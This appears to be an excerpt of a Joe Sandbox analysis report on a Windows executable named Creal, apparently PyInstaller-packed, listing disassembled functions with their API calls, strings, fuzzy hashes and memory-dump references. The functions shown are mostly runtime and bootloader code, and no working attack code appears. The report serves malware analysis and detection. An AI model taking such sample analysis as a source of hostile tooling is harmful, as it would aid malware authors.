0, xrefs: 00007FF6D9242B16
WARNING, xrefs: 00007FF6D9242AAF
[PYI-%d:%s] , xrefs: 00007FF6D9242AA8
Warning, xrefs: 00007FF6D9242B1E

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: 732d05d7710ab4eb2737267becb9b033b37416d7f8cd6da9a4166a7c451f0013
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 84218E32A29B8182F720DF55B9817EA73A4FB98784F400136EE8C93A59DF3CD255CB40

Function 00007FF6D925B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6D925B15F
FlsGetValue.KERNEL32 ref: 00007FF6D925B174
FlsSetValue.KERNEL32 ref: 00007FF6D925B195
FlsSetValue.KERNEL32 ref: 00007FF6D925B1C2
FlsSetValue.KERNEL32 ref: 00007FF6D925B1D3
FlsSetValue.KERNEL32 ref: 00007FF6D925B1E4
SetLastError.KERNEL32 ref: 00007FF6D925B1FF

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: bd40692f84e3da01acd5c9e715af8932c2ff4b5b564443a413d720313231dc09
Instruction ID: 8b8d04647d1c541d9cd6b27b39434df112610edc39d431b1ea9eae89d527a6f2
Opcode Fuzzy Hash: bd40692f84e3da01acd5c9e715af8932c2ff4b5b564443a413d720313231dc09
Instruction Fuzzy Hash: 7C216F20F2D24282FAD8AF229B5627D52425F447F0F148736D93EC7ADEDE2CB8208310

Function 00007FF6D9267D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6D9267D9D
GetLastError.KERNEL32 ref: 00007FF6D9267DA9
CloseHandle.KERNEL32 ref: 00007FF6D9267DC1
CreateFileW.KERNEL32 ref: 00007FF6D9267DEC
WriteConsoleW.KERNEL32 ref: 00007FF6D9267E0B

Strings

CONOUT$, xrefs: 00007FF6D9267DCD

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: 2b18e63188b50b3ce609437d657a71edfe20e77b08ff929d1e7a6d040469a77a
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 2F114C21A28B4186F7508F52B99532D66A4BB88BE4F044236EA5DC7BA4DF7CD864C780

Function 00007FF6D9248ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF6D9243FB1), ref: 00007FF6D9248EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF6D9243FB1), ref: 00007FF6D9248F5A

Part of subcall function 00007FF6D9249390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6D92445F4,00000000,00007FF6D9241985), ref: 00007FF6D92493C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF6D9243FB1), ref: 00007FF6D9248FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF6D9243FB1), ref: 00007FF6D9249044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF6D9243FB1), ref: 00007FF6D9249055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF6D9243FB1), ref: 00007FF6D924906A

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction ID: a4e692864971de607ead0557df8b0ac1e66772760808bc57b3aab372e5a59bca
Opcode Fuzzy Hash: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction Fuzzy Hash: DC419466A2E68281FB309F12A6002BE7394FB99BD4F451136DF8D97789DE3DD520CB40

Function 00007FF6D925B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6D9254F11,?,?,?,?,00007FF6D925A48A,?,?,?,?,00007FF6D925718F), ref: 00007FF6D925B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF6D9254F11,?,?,?,?,00007FF6D925A48A,?,?,?,?,00007FF6D925718F), ref: 00007FF6D925B30D
FlsSetValue.KERNEL32(?,?,?,00007FF6D9254F11,?,?,?,?,00007FF6D925A48A,?,?,?,?,00007FF6D925718F), ref: 00007FF6D925B33A
FlsSetValue.KERNEL32(?,?,?,00007FF6D9254F11,?,?,?,?,00007FF6D925A48A,?,?,?,?,00007FF6D925718F), ref: 00007FF6D925B34B
FlsSetValue.KERNEL32(?,?,?,00007FF6D9254F11,?,?,?,?,00007FF6D925A48A,?,?,?,?,00007FF6D925718F), ref: 00007FF6D925B35C
SetLastError.KERNEL32(?,?,?,00007FF6D9254F11,?,?,?,?,00007FF6D925A48A,?,?,?,?,00007FF6D925718F), ref: 00007FF6D925B377

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 511c86220214880ca4b01c77dd55d0a7de68e458561f726588d357ec3f22002e
Instruction ID: 0f736aaa02517f72cec70537d4fc75f897e4461e6fc86ab473e2dafcd1e7a00d
Opcode Fuzzy Hash: 511c86220214880ca4b01c77dd55d0a7de68e458561f726588d357ec3f22002e
Instruction Fuzzy Hash: D3113020F2D65292FAD4AF219B9127D52429F447B0F144737D92ED7ADEDE2CA4618300

Function 00007FF6D9242910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6D9241B6A), ref: 00007FF6D924295E

Strings

Error, xrefs: 00007FF6D9242A0E
Error [ANSI Fallback], xrefs: 00007FF6D92429FF
[PYI-%d:ERROR] , xrefs: 00007FF6D9242966
%s: %s, xrefs: 00007FF6D92429E8

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: d24d9175cb35377a766d0999425e1f42d4b57bcc98542d1fe6e1db3ec74819c2
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: E031F422B2868152F720AF65AA416FE6294BF987D4F400133EE8DD3B59EF3CD166C740

Function 00007FF6D9242390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6D92423C8
DialogBoxIndirectParamW.USER32 ref: 00007FF6D924248E
DeleteObject.GDI32 ref: 00007FF6D92424C1
DestroyIcon.USER32 ref: 00007FF6D92424D3

Strings

Unhandled exception in script, xrefs: 00007FF6D92423F8

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction ID: 86ff5cfed6685b253c51e96a20e5fbbff51d6e43b47276f1da68b3469d468cea
Opcode Fuzzy Hash: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction Fuzzy Hash: 84318F32A29A8289FB60EF62E9552FD6360FF88788F440136EA4D87B59DF3CD114C740

Function 00007FF6D9242B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF6D924918F,?,00007FF6D9243C55), ref: 00007FF6D9242BA0
MessageBoxW.USER32 ref: 00007FF6D9242C2A

Strings

WARNING, xrefs: 00007FF6D9242BAF
[PYI-%d:%ls] , xrefs: 00007FF6D9242BA8
Warning, xrefs: 00007FF6D9242C1D

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: 85dce56bba449f1340d93f693842ff1636657b289a24ffa1f38b38f494c6c679
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: E7219C62B28B4182F7109F55B9457EE73A4EB88780F404136EA8D97A5ADE3CE225C780

Function 00007FF6D9242710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF6D9241B99), ref: 00007FF6D9242760

Strings

Error, xrefs: 00007FF6D92427DE
ERROR, xrefs: 00007FF6D924276F
Error [ANSI Fallback], xrefs: 00007FF6D92427CF
[PYI-%d:%s] , xrefs: 00007FF6D9242768

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: ec266cdb73d317d13a84891900914379cc0d77f7eecaa8cb7923f54af5e18ed4
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: D4218172A2978142F720DF55B9817EA63A4FB98384F400136EE8C97A59DF7CD155CB40

Function 00007FF6D9259A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6D9259AAD
GetProcAddress.KERNEL32 ref: 00007FF6D9259AC3
FreeLibrary.KERNEL32 ref: 00007FF6D9259AEA

Strings

CorExitProcess, xrefs: 00007FF6D9259ABC
mscoree.dll, xrefs: 00007FF6D9259AA4

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: 50e892fcb0c93ea35a16969c53fe9901337e390c14b70dfd75ff9ead6e1f94d7
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: DCF06229B2D70681FB149F24E95477E6330EF45761F540237DA6E865E8DF2CD068C750

Function 00007FF6D9269368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6D9269390
_set_statfp.LIBCMT ref: 00007FF6D92693AB
_set_statfp.LIBCMT ref: 00007FF6D92693C7
_set_statfp.LIBCMT ref: 00007FF6D9269403

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 57a8951ce778445f014eaf80a3e6abd5c0670b9b93173366d95ed90449d537ac
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 9911947FE7CA0301FA641969E69137D1050AF59370E04063AFA6ED6EDACE6C6875C280

Function 00007FF6D925B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6D925A5A3,?,?,00000000,00007FF6D925A83E,?,?,?,?,?,00007FF6D925A7CA), ref: 00007FF6D925B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF6D925A5A3,?,?,00000000,00007FF6D925A83E,?,?,?,?,?,00007FF6D925A7CA), ref: 00007FF6D925B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF6D925A5A3,?,?,00000000,00007FF6D925A83E,?,?,?,?,?,00007FF6D925A7CA), ref: 00007FF6D925B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF6D925A5A3,?,?,00000000,00007FF6D925A83E,?,?,?,?,?,00007FF6D925A7CA), ref: 00007FF6D925B407
FlsSetValue.KERNEL32(?,?,?,00007FF6D925A5A3,?,?,00000000,00007FF6D925A83E,?,?,?,?,?,00007FF6D925A7CA), ref: 00007FF6D925B418

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6f944022d23edc1c4acf36ee41aa723466f994e0e1af3fb98e05b0010e79b0d5
Instruction ID: fb90a12991b22452530c1210b4ef444fb6c480d2db18ebf32fedbcad9f95040d
Opcode Fuzzy Hash: 6f944022d23edc1c4acf36ee41aa723466f994e0e1af3fb98e05b0010e79b0d5
Instruction Fuzzy Hash: D2113620F2D65242FAE4AF256B5227D51415F447B0F584337D93DD6ADEDE2CF8614301

Function 00007FF6D925B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6D925B235
FlsSetValue.KERNEL32 ref: 00007FF6D925B254
FlsSetValue.KERNEL32 ref: 00007FF6D925B27C
FlsSetValue.KERNEL32 ref: 00007FF6D925B28D
FlsSetValue.KERNEL32 ref: 00007FF6D925B29E

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: cf61fb6c00b1796c5bed08ecf7b6551a73a14dc995a044f45feadad5ae41d3ad
Instruction ID: b60e9824eb3b692cc2a257adf47c6dcc3b03f3ba0b20b1c0232c0b2478847322
Opcode Fuzzy Hash: cf61fb6c00b1796c5bed08ecf7b6551a73a14dc995a044f45feadad5ae41d3ad
Instruction Fuzzy Hash: 62110C20F2920742FAD8AE726B522BD11425F45770F184736D93ECA6DEDD2CB8618721

Function 00007FF6D9255FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9255FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9256106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D92561BC

Strings

verbose, xrefs: 00007FF6D9255FB0

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 72aeed8262b503a80e801e9b7060d8b1b348493edbb790d38416d8886d3d5a25
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 2891D132A28A4681F7A18E25D65037F37A1AB40B94F848137DA5EC73DEDE3CE865C301

Function 00007FF6D925FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D925FEA7

Part of subcall function 00007FF6D9257A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9257A59

Strings

UTF-8, xrefs: 00007FF6D925FE26
UTF-16LEUNICODE, xrefs: 00007FF6D925FE45
ccs, xrefs: 00007FF6D925FDE2

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 23d84d27ad2f27feff5ad3d29c41107d0454f73bd0f0aa8c5e4f516e5fca7a6b
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: 2781A072F2924385F7E4AE2993803BD36A0AB15B44F558037CE09D7A9DDF2DE9219301

Function 00007FF6D924D648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6D924D673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6D924D70A
RtlUnwindEx.KERNEL32 ref: 00007FF6D924D764

Strings

csm, xrefs: 00007FF6D924D6F1

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: 00c30a4dbf4e877fd229f56bf6859bfe3954585a45b61ac47b2b745876540ac3
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
